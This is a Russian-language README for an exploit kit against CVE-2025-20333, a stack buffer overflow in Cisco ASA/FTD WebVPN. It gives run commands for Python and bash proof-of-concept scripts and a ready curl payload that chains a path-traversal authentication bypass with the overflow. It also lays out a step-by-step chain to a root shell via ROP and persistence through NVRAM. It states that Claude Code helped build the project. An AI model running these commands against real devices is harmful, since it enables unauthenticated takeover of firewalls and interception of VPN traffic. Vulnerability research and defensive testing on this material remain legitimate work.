
Полный исследовательский и эксплуатационный набор для CVE-2025-20333 — критического переполнения буфера стека в Cisco ASA/FTD WebVPN. Включает подробный анализ бинарного кода, PoC-эксплойты на Python и bash, а также руководство по эксплуатации.
Этот каталог содержит всесторонние исследования, анализ и код доказательства концепции для CVE-2025-20333 — критической уязвимости переполнения буфера стека в серверах Cisco ASA/FTD WebVPN.
Статус: ⚠️ Активно эксплуатируется в дикой природе (кампания ArcaneDoor)
Оценка CVSS: 9.8 Критическая
Требуется аутентификация: Нет (обходится через CVE-2025-20362)
Воздействие: Удалённое выполнение кода с правами root
CVE-2025-20333-RESEARCH-NOTES.mdПолное исследование методом обратной разработки
Ключевая находка:
Фиксированный 16-байтовый буфер (local_58[16]) в body_lexer.re2c
Цикл URL-декодирования НЕ ИМЕЕТ ПРОВЕРКИ ГРАНИЦ
Запись в local_58[iVar11] без проверки iVar11 < 16
После 8 шестнадцатеричных пар: переполнение → повреждение стека → RCE
EXPLOITATION-GUIDE.md (12 КБ)Практическое руководство по эксплуатации
cve-2025-20333-poc.py (15 КБ)Полнофункциональный эксплойт на Python
Возможности:
Использование:
# Показать детали уязвимости
python3 cve-2025-20333-poc.py --details
# Эксплуатация цели
python3 cve-2025-20333-poc.py 192.168.1.100 443
# Пользовательские настройки
python3 cve-2025-20333-poc.py firewall.example.com 8443 -t 30
cve-2025-20333-poc.sh (8.5 КБ)Лёгкий bash-эксплойт
Возможности:
Использование:
# Показать детали
./cve-2025-20333-poc.sh --details
# Эксплуатация
./cve-2025-20333-poc.sh 192.168.1.100 443 10
# Вручную с curl
curl -X POST https://target/+CSCOU+/../+CSCOE+/files/file_list.json \
-d "name=%2f%2f%2f%2f%2f%2f%2f%2f%2f" --insecure
| Свойство | Значение |
|---|---|
| ID CVE | CVE-2025-20333 |
| Тип | Переполнение буфера стека (CWE-120) |
| Компонент | body_lexer.re2c (FUN_0302e690) |
| Затронутые версии | ASA 9.16–9.23, FTD 7.0–7.7 |
| CVSS v3.1 | 9.8 (Критическая) |
| Аутентификация | Не требуется (через CVE-2025-20362) |
| Взаимодействие с пользователем | Нет |
| Воздействие | RCE с правами root, полная компрометация системы |
| Статус | Активно эксплуатируется (май 2025+) |
| Ответственное раскрытие | Cisco выпустила патч; опубликован бюллетень |
// body_lexer.re2c — цикл URL-декодирования
byte local_58[16]; // ← Фиксированный 16-байтовый буфер
while (parsing_request_body) {
byte input = *data++;
if (input == '%') {
hex_decode_mode = true;
hex_index = 0;
}
if (hex_decode_mode) {
local_58[hex_index] = input; // ← НЕТ ПРОВЕРКИ ГРАНИЦ!
hex_index++;
if (hex_index == 2) {
byte decoded = hex_pair_to_byte(local_58[0], local_58[1]);
hex_decode_mode = false;
}
}
}
Триггер переполнения: 9+ последовательных последовательностей %XX в теле POST-запроса
1. Злоумышленник (АУТЕНТИФИКАЦИЯ НЕ ТРЕБУЕТСЯ)
↓
2. HTTP POST на /+CSCOU+/../+CSCOE+/files/file_list.json
├─ CVE-2025-20362: обход пути обходит проверку аутентификации
└─ Достигает конечной точки files_retr.lua (auth_flag = 0)
↓
3. Тело POST: name=%2f%2f%2f%2f%2f%2f%2f%2f%2f
(9+ URL-кодированных пар)
↓
4. body_lexer.re2c обрабатывает тело POST
├─ Накопление шестнадцатеричных пар в local_58[16]
└─ После 8 пар: ПЕРЕПОЛНЕНИЕ!
↓
5. Повреждение стека
├─ Перезапись local_48, local_40
├─ Перезапись сохранённого RBP
└─ Перезапись сохранённого RIP (адреса возврата)
↓
6. Перехват потока управления
├─ RIP указывает на ROP-гаджеты
├─ ROP-цепочка настраивает execve()
└─ execve("/bin/sh", NULL, NULL)
↓
7. RCE с правами root (процесс lina работает с правами root)
├─ Полная компрометация VPN-сервера
├─ Доступ ко всему VPN-трафику
└─ Постоянство через модификацию NVRAM
lina в Ghidra/+CSCOU+/../+CSCOE+/files/file_list.jsonlocal_58[16] без проверки границПодтвердите авторизацию
Запустите эксплойт
# Быстрая проверка: реагирует ли цель на попытку эксплуатации?
python3 cve-2025-20333-poc.py <target_ip>
# Или bash-версия:
./cve-2025-20333-poc.sh <target_ip>
Проверьте эксплуатацию
Задокументируйте результаты
Прочитайте исследовательские заметки
CVE-2025-20333-RESEARCH-NOTES.mdИзучите PoC
Адаптируйте и расширяйте
⚠️ ПРАВОВОЕ УВЕДОМЛЕНИЕ
Этот набор инструментов предоставляется только для авторизованного тестирования безопасности.
✅ Разрешённое использование:
❌ Запрещённое использование:
cve-2025-20333/
├── README.md (этот файл)
├── CVE-2025-20333-RESEARCH-NOTES.md (20 КБ, всестороннее исследование)
├── EXPLOITATION-GUIDE.md (12 КБ, практическое руководство)
├── cve-2025-20333-poc.py (15 КБ, PoC на Python)
└── cve-2025-20333-poc.sh (8.5 КБ, PoC на bash)
Всего документации: ~65 КБ
Глубина исследования: проверено 50+ функций Ghidra
Подтверждённые находки: переполнение буфера в body_lexer.re2c подтверждено
# Проверка, уязвима ли цель для эксплуатации
curl -X POST https://<target>/+CSCOU+/../+CSCOE+/files/file_list.json \
-d "name=%2f%2f%2f%2f%2f%2f%2f%2f%2f" \
--insecure \
-i
# Если цель отвечает (200, 500, сбой), она может быть уязвима
# Если цель блокирует/перенаправляет, она может быть исправлена
# Уязвимые версии:
# - Cisco ASA 9.16 по 9.23
# - Cisco FTD 7.0 по 7.7
# Используйте SSH/консоль для проверки версии ASA:
show version
# Исправленные версии:
# - ASA 9.16.4.51, 9.18.4.31, 9.20.4.49, 9.22.4.9, 9.24.1+
# - FTD 7.0.x, 7.1.x, 7.2.x (исправлены)
Этот набор инструментов предоставляется КАК ЕСТЬ только для образовательных и авторизованных целей тестирования.
Этот проект разработан при содействии Claude Code, ИИ-помощника по программированию от Anthropic.
Создано: 2026-08-23
Период исследования: 2026-08-22 по 2026-08-23
Статус: Завершено и задокументировано
Классификация: Образовательное / Только авторизованное тестирование